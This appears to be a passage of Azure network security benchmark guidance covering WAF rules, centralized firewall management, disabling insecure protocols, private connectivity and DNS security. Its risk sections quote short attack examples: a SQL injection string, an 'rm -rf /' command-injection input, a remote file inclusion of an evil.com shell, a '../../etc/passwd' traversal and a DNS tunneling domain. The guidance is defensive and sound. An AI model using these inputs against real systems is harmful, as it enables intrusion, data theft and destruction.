Security principle

Deploy a web application firewall (WAF) and configure rules to safeguard web applications and APIs from application-specific attacks by inspecting, detecting, and filtering malicious HTTP/HTTPS traffic.

Risk to mitigate

Attackers exploit web application vulnerabilities to gain unauthorized access, execute malicious code, steal credentials, or exfiltrate data.

• Injection attacks (e.g., SQL injection, command injection): Attackers exploit input validation vulnerabilities to inject malicious code into web application queries or commands, enabling unauthorized database access, data exfiltration, or system compromise. SQL injection (SQLi) manipulates backend queries (e.g., appending ' OR '1'='1 to a login form), while command injection executes arbitrary OS commands (e.g., ; rm -rf / via a form field).
• HTTP protocol violations and malformed requests: Attackers send malformed HTTP requests (e.g., invalid headers, oversized payloads, or non-standard methods like TRACE) to exploit vulnerabilities in web servers or applications, potentially causing crashes or unauthorized access. These attacks target misconfigured servers or unpatched frameworks.
• Bot-driven attacks (e.g., credential stuffing, scraping): Automated bots launch credential stuffing attacks (e.g., brute-forcing login endpoints with stolen credentials) or scrape sensitive content (e.g., pricing data), overloading servers or compromising user accounts. These attacks exploit weak authentication or unprotected APIs.
• Application-specific exploits (e.g., remote file Inclusion, local file inclusion): Attackers exploit vulnerabilities to include malicious files (e.g., include 'http://evil.com/shell.php') or access local server files (e.g., ../../etc/passwd) via manipulated URL parameters or form inputs, enabling code execution or data exposure.

MITRE ATT&CK

• Initial Access (TA0001): Exploits SQL injection, XSS, or remote file inclusion to gain entry (e.g., T1190 - Exploit Public-Facing Application).
• Execution (TA0002): Executes malicious code via command injection, RFI, or XSS (e.g., T1059 - Command and Scripting Interpreter).
• Credential Access (TA0006): Steals credentials through XSS or credential stuffing (e.g., T1539 - Steal Web Session Cookie, T1110 - Brute Force).
• Collection (TA0009): Gathers data via SQL injection or scraping (e.g., T1213 - Data from Information Repositories).

NS-6.1 Configure Azure WAF with appropriate rules

Enable web application firewall (WAF) capabilities in Azure Application Gateway, Azure Front Door, or Azure Content Delivery Network (CDN) to protect applications and APIs from web-based attacks. Select the appropriate service based on application requirements, configure WAF policies with built-in and custom rules, set the policy mode based on security posture, and associate the policy with the service endpoint:

• Select the appropriate WAF service: Choose Azure Application Gateway for VNet-hosted applications, Azure Front Door for global edge delivery, or Azure CDN for content-heavy workloads based on application requirements and architecture.

• Configure WAF policies with built-in and custom rules: Start with common built-in rulesets such as OWASP Core Rule Set (CRS 3.2) and bot protection (Microsoft Bot Manager) rules. Add custom rules (e.g., rate-limiting for >100 requests/min) and exclusions to reduce false positives based on threat landscape and application security profile.

• Set WAF policy mode: Use detection mode initially or for non-critical applications to avoid disrupting legitimate traffic during setup and rule optimization. Switch to prevention mode for critical applications once rules are validated to block malicious requests.

• Associate WAF policy with service endpoint: Associate the WAF policy with the Application Gateway, Front Door, or CDN endpoint to ensure all HTTP/HTTPS traffic is routed through WAF for inspection.

Implementation example

An organization needed to protect customer-facing web applications and APIs from SQL injection, XSS attacks, and bot-driven credential stuffing while maintaining performance for legitimate users.

Challenge: The organization had web applications deployed globally with no protection against OWASP Top 10 vulnerabilities, resulting in multiple SQL injection attempts, bot-driven attacks overwhelming login endpoints, and no visibility into malicious traffic patterns. Applications lacked rate-limiting controls, allowing API abuse and credential stuffing attacks, and there was no mechanism to distinguish legitimate users from malicious bots.

Solution approach:

• WAF service selection: Deployed Azure Application Gateway with WAF for VNet-hosted applications and Azure Front Door with WAF for globally distributed applications requiring edge protection and low-latency access.
• Built-in protection rulesets: Enabled OWASP Core Rule Set (CRS) 3.2 to protect against SQL injection, cross-site scripting (XSS), remote file inclusion, and other common web vulnerabilities, and activated Microsoft Bot Manager rules to identify and block malicious bots while allowing legitimate search engine crawlers and monitoring services.
• Custom rules for specific threats: Implemented rate-limiting rules blocking clients exceeding 100 requests per minute to prevent API abuse and credential stuffing, geo-filtering rules blocking traffic from high-risk regions where services are unavailable, and IP reputation-based rules blocking requests from known malicious IP ranges identified through threat intelligence feeds.
• Exclusion management: Created targeted exclusions for legitimate business scenarios such as /checkout endpoints with complex form inputs that triggered false positives in OWASP rules, /upload endpoints handling large file submissions, and /api endpoints with unusual but valid header patterns from mobile applications.
• Detection to prevention transition: Started WAF in detection mode for two weeks to identify false positives, refined rules and exclusions based on legitimate traffic patterns, then transitioned to prevention mode for production applications to actively block threats while maintaining business continuity.

Outcome: The organization eliminated SQL injection and XSS exploitation attempts, substantially reduced bot-driven attacks through bot manager rules, and established comprehensive visibility into web application threats. Rate-limiting controls prevented API abuse and credential stuffing, while the phased transition from detection to prevention mode ensured legitimate users experienced no service disruption.

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: SC-7, SC-7(5), SI-10, SI-10(1), SI-11
• PCI-DSS v4: 6.4.1, 6.4.2, 11.4.7
• CIS Controls v8.1: 13.2, 13.9
• NIST CSF v2.0: PR.AC-05, PR.PT-05, DE.CM-04
• ISO 27001:2022: A.8.20, A.8.22, A.8.25
• SOC 2: CC6.1, CC6.6, CC7.2

NS-7: Manage network security centrally and effectively

Security principle

To reduce operational risk and misconfiguration in complex and fragmented network environment, use cloud native network management features to centralize, simplify, and enforce consistent network-security configurations.

Risk to mitigate

Lack of centralized control results in overlooked or outdated security settings, increasing the risk of exploitation.

• Inconsistent policy enforcement and misconfigurations: Decentralized management often leads to fragmented rule sets and policy gaps, making it easier for attackers to discover and exploit weak points. Misconfigurations are more likely, increasing the chances of accidental exposure or unintended access.
• Reduced visibility and delayed response: Without a unified management approach, monitoring and incident response become slower and less effective. This can delay the detection of malicious activity, allowing attackers more time to escalate attacks or exfiltrate data.
• Difficulty maintaining compliance: Inadequate central management complicates efforts to consistently meet regulatory and industry standards, risking non-compliance and potential penalties.

MITRE ATT&CK

• Initial Access (TA0001): Exploitation of misconfigurations or outdated security settings to gain unauthorized access (e.g., T1190 - Exploit Public-Facing Application, T1133 - External Remote Services).
• Defense Evasion (TA0005): Taking advantage of fragmented rule sets and lack of centralized monitoring to avoid detection (e.g., T1562 - Impair Defenses).
• Lateral Movement (TA0008): Moving laterally through the network by exploiting policy gaps or outdated segmentation (e.g., T1021 - Remote Services).
• Command and Control (TA0011): Using unmonitored or misconfigured network paths to establish and maintain C2 channels (e.g., T1071 - Application Layer Protocol).

NS-7.1 Manage network security centrally and effectively

Use Azure's centralized tools and standardized practices to simplify and scale network-security management, ensuring consistent enforcement, reduced misconfiguration, and improved monitoring. Implement centralized policy enforcement, standardize firewall and routing management, enable comprehensive monitoring and analytics, and maintain resource consistency through governance practices:

• Implement centralized policy enforcement: Use Azure Virtual Network Manager (AVNM) to define Security Admin Rules that apply consistently across subscriptions and regions. Retain NSGs for workload-level micro-segmentation. Apply policies through network groups (e.g., by environment: prod, non-prod).

• Standardize firewall and routing management: Manage Azure Firewall rules through Firewall Manager with Firewall Policy objects. Standardize on IP Groups and Service Tags instead of raw IPs. Use Azure Firewall Premium where TLS inspection, IDPS, and URL filtering are required. Prefer Virtual WAN secure hubs or a shared hub-and-spoke topology to enforce routing intent consistently.

• Enable comprehensive monitoring and analytics: Use virtual network flow logs v2 (to replace NSG flow logs). Enable Azure Firewall diagnostic logs and integrate with Traffic Analytics, Log Analytics, and Microsoft Sentinel. Use Firewall Policy Analytics and rule hit counts to eliminate unused or duplicate rules.

• Maintain resource consistency and governance: Apply CAF naming conventions and mandatory resource tags to all VNets, NSGs, firewall rules, and groups. Use Defender for Cloud's Adaptive Network Hardening to refine over-permissive rules.

Implementation example

Use case: Multi-region payment platform consolidates network security at scale

Context: A mid-size payment processor operating in East US and West Europe with 4 subscriptions (Prod, Non-Prod, Shared Services, SecOps) under one tenant needs PCI-DSS segmentation, fewer incidents from rule drift, and centralized monitoring.

Centralized policy enforcement with Azure Virtual Network Manager:

• Design: Create AVNM at the management group level. Define two Network Groups: ng-prod and ng-nonprod with dynamic membership by subscriptionId tag. Author Security Admin Rules (SARs) to enforce organizational guardrails that evaluate before NSGs: Deny-Inbound-Internet-to-Spokes (blocks unsolicited inbound from Internet to all spoke subnets), Allow-Hub-Infra (permits hub services - Firewall/Bastion - into spokes), Allow-Platform-DNS (permits DNS from hub resolvers to spokes).
• App team boundaries: Workloads keep NSGs for micro-segmentation (e.g., web to api :443, api to db :1433) within each spoke. NSG changes are owned by app teams; SARs are owned by the platform security team.
• Result: Guardrails are consistent across both regions; app teams can't accidentally create direct internet access even if an NSG is misconfigured.

Firewall and routing management with Firewall Manager and Virtual WAN:

• Design: Deploy Virtual WAN secure hubs in each region (East US, West Europe). Attach spokes to the nearest hub and enable routing intent so all Internet egress is inspected. Use Firewall Manager with a global Firewall Policy (Tier: Premium) and two child policies (Prod/Non-Prod) for environment overrides.
• Policy structure: Base (global) policy includes Threat Intelligence set to Alert + Deny, TLS inspection enabled for outbound HTTPS, IDPS on in balanced mode, and outbound allow rules using Service Tags (Storage, KeyVault, AzureMonitor) and IP Groups for partner endpoints. Prod child policy has stricter URL filtering (block uncategorized) and allow list for payment gateways via IP Groups. Non-Prod child policy has broader dev tooling access via Service Tags (AzureDevOps, AzureContainerRegistry).
• Result: Single pane to manage rules with changes propagating to both hubs. Routing is consistent, and all egress is inspected with TLS decryption where allowed.

Monitoring and analytics with Flow Logs v2 and Sentinel:

• Telemetry setup: Enable Virtual Network Flow Logs v2 on all VNets and send to a central Log Analytics workspace in the SecOps subscription. Configure Azure Firewall diagnostic logs (Application, Network, DNS, ThreatIntel, IDPS) to the same workspace. Turn on Traffic Analytics against the workspace.
• Optimization loop: Enable Firewall Policy Analytics and review rule hit counts monthly. Create a Sentinel workbook that correlates flow logs (north-south and east-west), firewall allow/deny hits, and IDPS signatures triggered. Automate a change request if a rule has 0 hits for 45 days (candidate for removal) or if a deny rule is hit by a production subnet (possible misroute).
• Result: After two review cycles, 18% of firewall rules and 22 stale NSG rules are removed, reducing rule-evaluation latency and change risk.

Resource consistency and governance with CAF and Defender for Cloud:

• Standards: Apply CAF naming (e.g., vnet-prd-eus-01, nsg-prd-eus-web-01, azfw-policy-global-01) and mandatory tags: env, owner, dataClass, costCenter.
• Enforcement: Use Azure Policy initiatives to require NSG on every subnet, require diagnostic settings on VNets and Firewall to central LA workspace, and deny creation without mandatory tags. Enable Defender for Cloud - Adaptive Network Hardening on all spokes with weekly action items reviewed in SecOps CAB.
• Result: Platform drift is surfaced quickly; over-permissive rules are tightened using Defender's data-driven recommendations.

Rollout sequence and acceptance criteria:

• Stand up vWAN secure hubs, attach spokes, enable routing intent (pilot spokes only). Acceptance criteria: Pilot spokes egress via firewall; no public IPs reachable directly.
• Deploy AVNM SARs to ng-nonprod, verify no breakage, then to ng-prod. Acceptance criteria: Synthetic probes confirm hub services (DNS/Bastion) still reach spokes; inbound Internet still denied.
• Enable vNet Flow Logs v2 and all firewall diagnostics; onboard Sentinel workbook. Acceptance criteria: Dashboards show flows, denies, IDPS hits per region.
• Apply Policy initiatives; remediate non-compliant items; enable Adaptive Hardening. Acceptance criteria: Compliance reaches 95%, backlog of NSG/firewall tightening items created.
• First Policy Analytics review; remove unused rules via change window. Acceptance criteria: Rule count reduced by 15% with zero customer impact.

Operational runbook examples:

• Azure Virtual Network Manager SARs: Deny Inbound Internet to Spokes (Priority 100), Allow Hub Infra to Spokes (Priority 200: src 10.0.0.0/16 hub ranges)
• Firewall Policy structure: azfw-policy-global-01 (Premium) with rule collections Allow-Azure-Platform-ST (Service Tags) and Allow-Partners-IPs (IP Groups: ipg-payment-gws), plus child policies azfw-policy-prd-01 and azfw-policy-npd-01
• Diagnostics: Destination: law-secops-01, Categories: AZFWApplicationRule, AZFWNetworkRule, AZFWIDPS, AZFWThreatIntel, AZFWDnsProxy, FlowLogV2

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: CM-2, CM-3, CM-6, CA-7, SI-4
• PCI-DSS v4: 1.4.5, 11.5.1, 12.4.1
• CIS Controls v8.1: 4.1, 4.2, 12.4, 13.6
• NIST CSF v2.0: PR.IP-01, DE.CM-01, DE.CM-07
• ISO 27001:2022: A.8.9, A.8.32, A.5.37
• SOC 2: CC6.6, CC7.2, CC8.1

NS-8: Detect and disable insecure services and protocols

Azure Policy: See Azure built-in policy definitions: NS-8.

Security principle

Discover and disable insecure services and protocols at the OS, application, or software package layer. Deploy compensating controls if disabling insecure services and protocols is not possible.

Risk to mitigate

Threat actors exploit insecure and vulnerable services and protocols to compromise systems and data.

• Cryptographic Weakness Exploitation: SSL/TLSv1 and weak ciphers (e.g., RC4, DES) are vulnerable to MITM attacks (e.g., POODLE, BEAST), enabling adversaries to decrypt sensitive data like session tokens via padding oracle or chosen-ciphertext attacks.
• Unauthorized Access via Protocol Exploits: SSHv1 and SMBv1 vulnerabilities (e.g., CVE-2001-1473, CVE-2017-0144/EternalBlue) allow remote code execution or unauthenticated access, enabling initial footholds.
• Credential Theft: LM/NTLMv1 and wDigest store weak hashes or plaintext credentials, vulnerable to pass-the-hash or memory scraping (e.g., Mimikatz extracting LSASS data).
• Lateral Movement: SMBv1's unencrypted sessions and exploits (e.g., EternalBlue) enable malware propagation or credential relay across networks.

MITRE ATT&CK

• Initial Access (TA0001): Exploitation of insecure protocols like SSL/TLSv1 or SSHv1, which are vulnerable to protocol downgrade attacks or known exploits, blocking unauthorized entry (e.g., T1190 - Exploit Public-Facing Application).
• Credential Access (TA0006): Credential theft by exploiting LM/NTLMv1 and wDigest, which store credentials in reversible formats or weak hashes, thwarting pass-the-hash or memory scraping (e.g., T1003 - OS Credential Dumping).
• Lateral Movement (TA0008): Inhibits attacker pivoting SMBv1 which is vulnerable to exploits like EternalBlue, preventing propagation across networks (e.g., T1021 - Remote Services).

NS-8.1 Detect and disable insecure services and protocols

Use Microsoft Sentinel's built-in Insecure Protocol Workbook to discover and mitigate insecure services and protocols across your Azure environment. This workbook identifies usage of protocols and services that do not meet appropriate security standards, such as SSL/TLSv1, SSHv1, SMBv1, LM/NTLMv1, wDigest, weak ciphers in Kerberos, and unsigned LDAP binds. After identification, disable these insecure protocols and services. When disabling is not feasible, implement compensating controls to reduce the attack surface.

Discover insecure protocols: Use Microsoft Sentinel's Insecure Protocol Workbook to identify usage of SSL/TLSv1, SSHv1, SMBv1, LM/NTLMv1, wDigest, weak Kerberos ciphers, and unsigned LDAP binds across your environment.

Disable insecure services and protocols: Disable identified insecure services and protocols that do not meet appropriate security standards to eliminate vulnerabilities.

Implement compensating controls: If disabling insecure services or protocols is not possible due to business requirements or technical constraints, use compensating controls such as blocking access to resources through network security groups, Azure Firewall, or Azure Web Application Firewall to reduce the attack surface.

Implementation example

A healthcare organization needed to eliminate insecure protocols across their Azure environment to meet HIPAA compliance requirements and reduce attack surface for protected health information.

Challenge: The organization operated a hybrid infrastructure with legacy applications requiring connectivity to Azure-hosted resources. Security assessment revealed widespread usage of insecure protocols including SSL/TLSv1.0 on web servers serving patient portals, SMBv1 enabled on file servers for legacy medical imaging software, LM/NTLMv1 authentication on domain controllers and application servers, wDigest authentication storing credentials in reversible format, unsigned LDAP binds on Active Directory controllers, and weak Kerberos encryption on service accounts. The organization lacked visibility into protocol usage and faced potential HIPAA compliance violations.

Solution:

• Sentinel Insecure Protocol Workbook deployment: Deployed Microsoft Sentinel and installed Insecure Protocol Workbook from content hub, connected data sources including Windows Security Event logs, Azure Monitor logs, Active Directory logs, and network flow logs, establishing comprehensive baseline of insecure protocol usage across hybrid environment.

• Protocol discovery: Used Insecure Protocol Workbook to identify SSL/TLSv1.0 usage on web servers, SMBv1 traffic from legacy medical imaging workstations, LM/NTLMv1 authentication patterns, wDigest enabled on Windows servers, unsigned LDAP binds from legacy applications, and weak RC4 Kerberos encryption on service accounts.

• Systematic protocol disabling: Created phased remediation plan validated through change advisory board, disabled TLSv1.0/1.1 on web servers after confirming patient portal users operated modern browsers supporting TLS 1.2+, disabled SMBv1 after coordinating with medical imaging vendor software upgrades, transitioned domain controllers from NTLMv1 to NTLMv2 authentication, disabled wDigest via Group Policy, enforced LDAP signing on domain controllers, and upgraded service account Kerberos encryption to AES256.

• Compensating controls for exceptions: Implemented network-based compensating controls for systems requiring temporary insecure protocol support including isolated VLAN for legacy medical imaging workstations requiring SMBv1, NSG rules restricting SMBv1 traffic exclusively to isolated VLAN, Azure Firewall denying outbound SMBv1 from production subnets, dedicated jump host for legacy HR applications, and enhanced monitoring through Defender for Endpoint flagging protocol usage outside approved exception subnets.

• Continuous monitoring: Established ongoing protocol hygiene through Microsoft Sentinel analytics rules triggering alerts for new insecure protocol connections outside approved exceptions, Azure Policy denying deployment without TLS 1.2 minimum requirement, and weekly Insecure Protocol Workbook reviews tracking remediation progress.

Outcome: Weak TLS connections were eliminated from patient portals. SMBv1 was disabled after medical imaging upgrades, eliminating EternalBlue vulnerability and achieving HIPAA compliance. NTLMv1 transitioned to NTLMv2, preventing pass-the-hash attacks. wDigest disabled mitigated credential theft. LDAP signing blocked unsigned queries. Kerberos upgraded to AES256, reducing Kerberoasting risk. Compensating controls contained legacy systems with zero lateral movement. Full HIPAA compliance achieved.

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: SC-8, SC-8(1), SC-13, IA-5(1)
• PCI-DSS v4: 2.2.4, 4.2.1, 6.2.4
• CIS Controls v8.1: 4.8, 9.3, 13.4
• NIST CSF v2.0: PR.DS-02, PR.IP-01, DE.CM-04
• ISO 27001:2022: A.8.24, A.8.26, A.5.14
• SOC 2: CC6.1, CC6.7, CC7.1

NS-9: Connect on-premises or cloud network privately

Security principle

Use private connections for secure communication between different networks, such as cloud service provider datacenters and on-premises infrastructure in a colocation environment.

Risk to mitigate

When data travels over public networks, it is vulnerable to interception, unauthorized access, and tampering.

• Data interception: When data travels over public networks like the internet, it passes through multiple routers, switches, and service providers, any of which could be compromised or monitored by malicious actors. Attackers can deploy packet sniffing tools (e.g., Wireshark) to capture data packets. If the data is unencrypted or weakly encrypted, sensitive information - such as login credentials, financial details, or proprietary business data - can be exposed.
• Man-in-the-Middle (MitM) Attacks: In a MitM attack, an attacker secretly intercepts and potentially alters the communication between two parties who believe they are directly communicating with each other. This poses a severe threat to sensitive operations like financial transactions or authentication processes.
• Unauthorized access: Public or inadequately secured networks increase the likelihood of unauthorized users gaining access or tampering to private systems or resources. Attackers can exploit network weaknesses to reach internal infrastructure that should remain inaccessible from the outside.

MITRE ATT&CK

• Initial Access (TA0001): Exploitation of unencrypted or weakly encrypted protocols (e.g., HTTP or outdated TLS versions) vulnerable to packet sniffing or MitM attacks, enabling unauthorized entry into systems (e.g., T1190 - Exploit Public-Facing Application).
• Credential Access (TA0006): Theft of credentials via intercepted network traffic, exploiting cleartext protocols (e.g., Telnet or FTP) or weak encryption susceptible to decryption, facilitating unauthorized access (e.g., T1040 - Network Sniffing).
• Lateral Movement (TA0008): Propagation within networks by exploiting misconfigured or exposed services (e.g., unpatched RDP or SMB), allowing attackers to pivot using stolen credentials or vulnerabilities (e.g., T1021 - Remote Services).

NS-9.1 Use Azure virtual private network (VPN) for lightweight site-to-site or point-to-site connectivity

Use Azure virtual private network (VPN) to create secure, encrypted connections between on-premises sites or end-user devices and Azure virtual networks for lightweight connectivity scenarios. Azure VPN provides a cost-effective solution for site-to-site connectivity (connecting entire networks) or point-to-site connectivity (connecting individual devices) without requiring dedicated infrastructure:

• Deploy site-to-site VPN: Use site-to-site VPN to securely connect your on-premises network to Azure virtual network, enabling seamless communication between on-premises resources and Azure workloads.

• Deploy point-to-site VPN: Use point-to-site VPN to enable individual end-user devices (laptops, workstations) to securely connect to Azure virtual network from remote locations.

NS-9.2 Use Azure ExpressRoute (or Virtual WAN) for enterprise-level high performance connections

Use Azure ExpressRoute or Azure Virtual WAN to establish private, high-performance, low-latency connections between Azure datacenters and on-premises infrastructure in colocation environments. These enterprise-grade solutions bypass the public internet, providing dedicated bandwidth, predictable performance, and enhanced security for mission-critical workloads requiring consistent connectivity:

• Deploy ExpressRoute for dedicated private connectivity: Use Azure ExpressRoute to create a private connection between your on-premises infrastructure and Azure datacenters through a connectivity provider, ensuring dedicated bandwidth and predictable latency for enterprise workloads.

• Deploy Virtual WAN for global connectivity: Use Azure Virtual WAN to build a global network connecting multiple sites, branches, and Azure regions through a unified hub-and-spoke architecture with integrated security and routing capabilities.

NS-9.3 Use VNet or subnet peering to join virtual networks

Use virtual network peering or subnet peering to establish private connectivity between Azure virtual networks without routing traffic over the public internet. Network traffic between peered virtual networks remains on the Azure backbone network, providing low-latency, high-bandwidth connections with no encryption overhead. Choose subnet peering when full virtual network connectivity is unnecessary, limiting exposure to only specific subnets:

• Deploy virtual network peering: Use virtual network peering to connect entire Azure virtual networks, enabling resources in different VNets to communicate privately as if they were in the same network.

Implementation example

A multinational financial services organization needed secure, high-performance connectivity between on-premises data centers, branch offices, and Azure cloud resources while eliminating public internet exposure for sensitive financial transactions.

Challenge: The organization operated multiple on-premises data centers with branch offices globally, requiring connectivity to Azure-hosted applications processing financial transactions and customer data. Initial architecture used site-to-site VPN over the internet, experiencing unpredictable latency, bandwidth limitations during peak trading hours, security concerns about financial data traversing public internet despite encryption, and compliance requirements mandating private connectivity for PCI-DSS and GDPR. Remote employees connecting via point-to-site VPN experienced inconsistent performance and authentication issues. Applications in different Azure regions required low-latency inter-region communication without routing through on-premises hubs.

Solution:

• ExpressRoute for primary data center connectivity: Deployed Azure ExpressRoute circuits at primary data centers through co-location facilities with ExpressRoute connectivity providers, establishing private Layer 3 connectivity to Azure backbone network with consistent low latency, configured ExpressRoute with Microsoft peering for Azure PaaS services and private peering for VNet-hosted resources, implemented BGP routing with active-active configuration for high availability and automatic failover.

• Site-to-site VPN for branch office connectivity: Deployed site-to-site VPN for branch offices lacking co-location facility access, creating VPN Gateway in hub VNet with active-active configuration for high availability, configured IPsec/IKE tunnels with strong cryptography meeting financial sector security standards, implemented BGP routing for dynamic path selection allowing branches to connect to nearest regional hub, established redundant tunnels ensuring connectivity during maintenance windows.

• Point-to-site VPN for remote employees: Configured point-to-site VPN with Azure Active Directory authentication for remote employees requiring secure access to Azure-hosted applications, enabled certificate-based authentication as fallback for scenarios without internet access to Azure AD, assigned client IP addresses from dedicated pool routed to Azure VNet resources via user-defined routes, implemented OpenVPN protocol for macOS/Linux clients and IKEv2/SSTP for Windows clients providing broad device compatibility, configured split tunneling allowing direct internet access for non-corporate traffic while routing Azure-bound traffic through VPN tunnel optimizing bandwidth.

• Virtual WAN for global mesh connectivity: Deployed Azure Virtual WAN with secure hubs in multiple regions providing global transit architecture, connected ExpressRoute circuits to Virtual WAN hubs enabling any-to-any connectivity between data centers and Azure regions without routing through on-premises hubs, integrated site-to-site VPN connections from branch offices to nearest Virtual WAN hub with automatic routing optimization, enabled Azure Firewall in each Virtual WAN hub providing centralized security inspection for traffic between branches, data centers, and Azure VNets, configured routing policies implementing global transit routing allowing branch offices to communicate with on-premises data centers via Azure backbone.

• VNet peering for Azure inter-region connectivity: Implemented virtual network peering connecting spoke VNets to Virtual WAN hub VNets in each region, enabled global VNet peering for cross-region application connectivity providing low latency over Azure backbone, configured gateway transit allowing spoke VNets to use Virtual WAN hub VPN/ExpressRoute gateways without deploying additional gateways reducing cost and complexity, implemented network security groups on spoke subnets controlling traffic flow between peered VNets with least-privilege access.

• Traffic optimization and monitoring: Configured ExpressRoute circuits with QoS markings prioritizing financial transaction traffic over bulk data transfers, enabled Connection Monitor tracking latency, packet loss, and availability for ExpressRoute circuits and VPN connections with alerting for degradation, implemented Azure Monitor workbooks visualizing global connectivity topology showing active connections, bandwidth utilization, and failover events, established baselines for acceptable performance with automated alerts for threshold breaches.

Outcome: Private connectivity was achieved for all financial transactions, meeting PCI-DSS requirements. ExpressRoute provided consistent low latency for real-time trading. Virtual WAN substantially reduced branch-to-data center latency. Remote employees successfully connected via point-to-site VPN with improved authentication. Global VNet peering enabled efficient cross-region disaster recovery. Cost optimization achieved through Virtual WAN consolidation.

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: SC-7, SC-7(4), SC-8
• PCI-DSS v4: 1.2.1, 2.2.7, 4.2.1
• CIS Controls v8.1: 12.8, 13.8
• NIST CSF v2.0: PR.AC-05, PR.DS-02
• ISO 27001:2022: A.8.21, A.8.22, A.5.14
• SOC 2: CC6.6, CC6.7

NS-10: Ensure Domain Name System (DNS) security

Security principle

Ensure that Domain Name System (DNS) security configuration protects against known risks:

• Use trusted authoritative and recursive DNS services across your cloud environment to ensure the client (such as operating systems and applications) receives the correct resolution result.
• Separate the public and private DNS resolution so the DNS resolution process for the private network can be isolated from the public network.
• Ensure your DNS security strategy also includes mitigations against common attacks, such as dangling DNS, DNS amplifications attacks, DNS poisoning and spoofing, and so on.

Risk to mitigate

Threat actors attack DNS services or exploit vulnerable DNS services to compromise applications and redirect traffic.

• DNS spoofing/poisoning: Adversaries forge DNS responses or corrupt resolver caches (e.g., Kaminsky attack) to redirect clients to malicious servers, enabling phishing or data interception.
• DNS amplification attacks: Attackers exploit misconfigured DNS servers to amplify DDoS traffic (e.g., 60-byte query yielding 4,000-byte response), overwhelming target networks.
• Dangling DNS exploitation: Dangling records (e.g., stale CNAMEs) allow adversaries to hijack decommissioned resources, redirecting traffic to malicious endpoints for phishing or malware.
• Data exfiltration via DNS tunneling: Malicious actors encode data in DNS queries (e.g., data.exfil.evil.com) to covertly exfiltrate sensitive information, bypassing firewalls.
• Phishing/malware delivery: Compromised resolvers redirect legitimate domains to attacker-controlled IPs, delivering phishing pages or malware to unsuspecting clients.

MITRE ATT&CK

• Command and Control (TA0011): Use DNS tunneling to encode C2 commands in queries (e.g., data.exfil.evil.com) or spoof resolutions to connect to malicious servers (e.g., T1071.004 - Application Layer Protocol: DNS).
• Collection (TA0009): Collect data by spoofing DNS to redirect users to phishing sites or exfiltrating data via tunneling (e.g., T1040 - Network Sniffing).
• Impact (TA0040): DNS amplification attacks, sending small queries to generate large responses, disrupting service availability (e.g., T1498.002 - Network Denial of Service: Reflection Amplification).
• Initial Access (TA0001): Exploit dangling DNS records or spoofed resolutions to deliver malware/phishing, gaining entry to systems (e.g., T1190 - Exploit Public-Facing Application).

NS-10.1 Use trusted DNS service

Use trusted DNS services to ensure clients receive correct resolution results and protect against DNS-based attacks. Azure provides the recursive DNS service at 168.63.129.16 (typically assigned via DHCP or preconfigured) for workload DNS resolution at the operating system or application level. Alternatively, use trusted external DNS servers. For organizations hosting their own domains, Azure DNS provides reliable authoritative DNS hosting. Organizations building custom DNS servers should follow NIST SP 800-81 Rev. 3 secure deployment guidelines:

• Use Azure recursive DNS or trusted external DNS: Configure workloads to use Azure recursive DNS (168.63.129.16) or trusted external DNS servers in VM operating systems or application DNS settings to ensure reliable name resolution.

• Allow Azure DNS in firewall rules: Add 168.63.129.16 to firewall and NSG allow lists to ensure proper DNS functionality for Azure resources.

• Host domains on Azure DNS: Use Azure DNS to host domain resolution for authoritative DNS needs, providing reliable and scalable DNS hosting (note: Azure DNS does not provide domain registration service).

• Follow secure DNS deployment guidelines: If building custom DNS servers, follow NIST SP 800-81 Rev. 3 Secure Domain Name System (DNS) Deployment Guide to implement security best practices.

NS-10.2 Use Private DNS in virtual network

Use Azure Private DNS to establish private DNS zones where DNS resolution remains within the virtual network, preventing DNS queries from traversing public networks. This is essential for private endpoint configurations, where private DNS zones override public DNS resolution to route traffic privately to Azure services. Custom DNS solutions can further restrict resolution to only trusted sources, enhancing security for private workloads:

• Deploy Azure Private DNS for private resolution: Use Azure Private DNS to create private DNS zones that keep DNS resolution within the virtual network, ensuring queries never leave your network boundary.

• Configure private DNS for private endpoints: Configure private DNS zones for private endpoints to override public DNS resolution and ensure clients resolve private endpoint FQDNs to private IP addresses within the virtual network.

• Implement custom DNS for restricted resolution: Use custom DNS servers to restrict DNS resolution to only allow trusted resolution sources for your clients, providing additional control over name resolution security.

NS-10.3 Use Defender for DNS for advanced protection

Use Microsoft Defender for DNS to detect and alert on advanced DNS-based security threats including data exfiltration via DNS tunneling, command-and-control communication, malicious domain interactions (phishing, crypto mining), and DNS attacks involving malicious resolvers. Defender for DNS protection is now included in Defender for Servers Plan. Additionally, use Microsoft Defender for App Service to detect dangling DNS records that could enable subdomain takeover attacks when decommissioning websites:

• Enable Defender for DNS protection: Use Microsoft Defender for DNS (included in Defender for Servers Plan) to monitor and alert on suspicious DNS activity including data exfiltration via DNS tunneling, malware command-and-control communication, and interactions with malicious domains.

• Monitor for malicious DNS activity: Configure alerts to detect communication with malicious DNS resolvers and DNS attacks that could compromise workload security or DNS service availability.

• Detect dangling DNS records: Use Microsoft Defender for App Service to identify dangling DNS records when decommissioning App Service websites, preventing subdomain takeover attacks by ensuring custom domains are removed from DNS registrars.

Implementation example

Challenge: An enterprise needed comprehensive DNS security covering trusted resolution services, private network DNS for internal resources, and advanced threat detection across hybrid cloud infrastructure.

Solution approach:

• Deployed Azure recursive DNS (168.63.129.16) for all Azure VM workloads with NSG rules allowing DNS traffic
• Hosted authoritative zones on Azure DNS for public domain resolution with geo-distribution
• Implemented Azure Private DNS zones for private endpoint resolution (privatelink.database.windows.net, privatelink.blob.core.windows.net) linked to production VNets
• Configured Private DNS integration ensuring private endpoint FQDNs resolve to private IPs (e.g., sqlserver.database.windows.net → 10.0.2.4)
• Enabled Microsoft Defender for DNS through Defender for Servers Plan to monitor DNS tunneling, C2 communication, and malicious domain interactions
• Deployed Defender for App Service to detect dangling DNS records during website decommissioning

Outcome: The DNS security implementation ensured reliable name resolution for cloud workloads while maintaining privacy for internal resources. Private DNS zones prevented sensitive queries from traversing public networks, while Defender for DNS provided visibility into DNS-based threats including data exfiltration attempts and command-and-control activity. The solution eliminated subdomain takeover risks through automated dangling DNS detection during resource lifecycle changes.

Criticality level

Must have.

Control mapping

• NIST SP 800-53 Rev.5: SC-7, SI-4, SI-4(4), SI-4(5)
• PCI-DSS v4: 11.5.1, 12.10.1
• CIS Controls v8.1: 8.5, 13.6, 13.8
